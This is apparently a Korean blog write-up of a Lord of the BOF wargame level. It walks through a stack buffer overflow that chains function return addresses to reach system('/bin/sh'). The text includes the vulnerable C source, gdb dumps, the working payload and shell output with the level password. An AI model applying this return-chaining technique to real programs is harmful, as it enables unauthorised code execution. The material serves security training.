🗂️ INDEX

글 작성자: Universe7202

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously 
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
        if(check != 4)
                exit(0);

        printf("welcome to the MO!\n");

        // olleh!
        system(cmd);
}

void YUT(void)
{
        if(check != 3)
                exit(0);

        printf("welcome to the YUT!\n");
        check = 4;
}

void GUL(void)
{
        if(check != 2)
                exit(0);

        printf("welcome to the GUL!\n");
        check = 3;
}

void GYE(void)
{
        if(check != 1)
                exit(0);

        printf("welcome to the GYE!\n");
        check = 2;
}

void DO(void)
{
        printf("welcome to the DO!\n");
        check = 1;
}

main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // you cannot use library
        if(strchr(argv[1], '\x40')){
                printf("You cannot use library\n");
                exit(0);
        }

        // check address
        addr = (char *)&DO;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // stack destroyer
        // 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);
        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);
}

이번 문제는 함수를 계속 호출해서 최종적으로 MO 함수와 파라미터를 넘겨주면 shell을 실행 할 수 있게 된다. 

그렇다면 각각의 함수의 주소를 알아내보자.

(gdb) disas DO
Dump of assembler code for function DO:
0x80487ec <DO>: push   %ebp
0x80487ed <DO+1>:       mov    %esp,%ebp
0x80487ef <DO+3>:       push   $0x8048a0e
0x80487f4 <DO+8>:       call   0x804844c <printf>
0x80487f9 <DO+13>:      add    $0x4,%esp
0x80487fc <DO+16>:      movl   $0x1,0x8049a90
0x8048806 <DO+26>:      leave  
0x8048807 <DO+27>:      ret    
End of assembler dump.
(gdb) 
...


DO() 0x080487ec
GYE() 0x080487bc
GUL() 0x0804878c
YUT() 0x0804875c
MO() 0x08048724

각각의 함수의 주소를 찾았고, MO에 인자값인 /bin/sh의 문자열의 주소를 넘겨줘야 system 함수로 인해 shell이 실행이 된다. c코드로 /bin/sh 문자열의 주소를 찾아보면 \x40이라는 문자가 포함되기 때문에 if 조건에 걸리게 된다. 따라서 /bin/sh 문자열을 저장하여 이 주소를 가져와야 한다.

 

위 c코드 중 일부를 가져온 코드가 아래 코드이다. 이 코드를 보면 buffer[47] 에서 100번째 떨어진 곳 부터 0으로 초기화를 한다. 즉 buffer[48] ~ buffer[147]까지 값은 0으로 초기화가 되지 않는다는 것이다. 여기에 /bin/sh 문자열을 삽입해서 이 주소를 불러오겠다.

memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

 

buffer의 주소를 찾기 위해 main+165 에서 breakpoint를 걸고 스택의 값을 보면 buffer의 주소가 0xbffffbd0임을 알 수 있다.

[zombie_assassin@localhost zombie_assassin]$ gdb -q succubus_c
(gdb) disas main
Dump of assembler code for function main:
...
0x80488a8 <main+160>:   push   %edx
0x80488a9 <main+161>:   lea    0xffffffd8(%ebp),%eax
0x80488ac <main+164>:   push   %eax
0x80488ad <main+165>:   call   0x804847c <strcpy>
0x80488b2 <main+170>:   add    $0x8,%esp
0x80488b5 <main+173>:   lea    0xffffffd8(%ebp),%eax
...
(gdb) b *main+165
Breakpoint 1 at 0x80488ad

(gdb) r `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"CCCC"+"/bin/sh"'`
(gdb) x/wx $esp
0xbffffbc4:     0xbffffbd0
(gdb) ni   
0x80488b2 in main ()
(gdb) x/wx 0xbffffbd0
0xbffffbd0:     0x41414141

 

/bin/sh 문자열의 주소를 찾기 위해 buffer의 주소를 좀더 자세히 살펴보면 0xbffffc10에서 BBBB와 CCCC값 다음에 /bin/sh 문자열이 있는 것을 알 수 있다. 즉 /bin/sh의 문자열의 주소는 0xbffffc18 인 것을 알아냈다. CCCC에 이 주소를 삽입하면 system에서 /bin/sh의 문자열을 가져 올 것이다.

(gdb) x/100wx 0xbffffbd0
0xbffffbd0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbe0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbf0:     0x41414141      0x41414141      0x41414141      0x080487ec
0xbffffc00:     0x080487bc      0x0804878c      0x0804875c      0x08048724
0xbffffc10:     0x42424242      0x43434343      0x6e69622f      0x0068732f
0xbffffc20:     0x08048808      0x00000002      0xbffffc44      0x0804839c
...

최종적인 payload를 다음과 같다.

[Dummy Code(44)] + [&DO()] + [&GYE()] + [&GUL()] + [&YUT()] + [&MO()] + [Dummy Code(4)] + [&/bin/sh] + ["/bin/sh"]

 

위 payload 구성을 참고하여 값을 입력하면 에러가 뜬다. core 파일을 분석해서 정확한 buffer의 주소를 찾아보자.

./succubus_c `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\x18\xfc\xff\xbf"+"/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB8/bin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
Segmentation fault (core dumped)

 

첫번째 주소에서 0xbffffc18 를 볼 수 있다. 이는 gdb로 분석해서 넣은 /bin/sh의 주소이다. 하지만 core 파일을 통해 봤을땐, /bin/sh의 주소가 아니다. 이 파일을 통해 /bin/sh의 주소는 0xbffffc38임을 알 수 있다.

[zombie_assassin@localhost zombie_assassin]$ gdb -c core -q
Core was generated by `                                                                              '.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()
(gdb) x/100wx $esp
0xbffffc34:     0xbffffc18      0x6e69622f      0x0068732f      0x08048808
0xbffffc44:     0x00000002      0xbffffc64      0x0804839c      0x0804894c
0xbffffc54:     0x4000ae60      0xbffffc5c      0x40013e90      0x00000002

/bin/sh의 주소만 수정해서 다시 공격을 수행하면 shell을 획득한 것을 볼 수 있다.

./succubus_c `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"\x38\xfc\xff\xbf"+"/bin/sh"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB8/bin/sh
welcome to the DO!
welcome to the GYE!
welcome to the GUL!
welcome to the YUT!
welcome to the MO!
bash$ whoami 
succubus 
bash$ my-pass 
euid = 517 
here to stay

 

'🚩CTF' 카테고리의 다른 글

[pwnable.xyz] sub write up  (0) 2019.12.28
[pwnable.xyz] Welcome write up  (0) 2019.12.26
[LOB] - giant -> assassin 풀이  (0) 2019.10.06
[LOB] - darkknight -> bugbear 풀이  (0) 2019.10.06
[LOB] - troll -> vampire 풀이  (0) 2019.10.05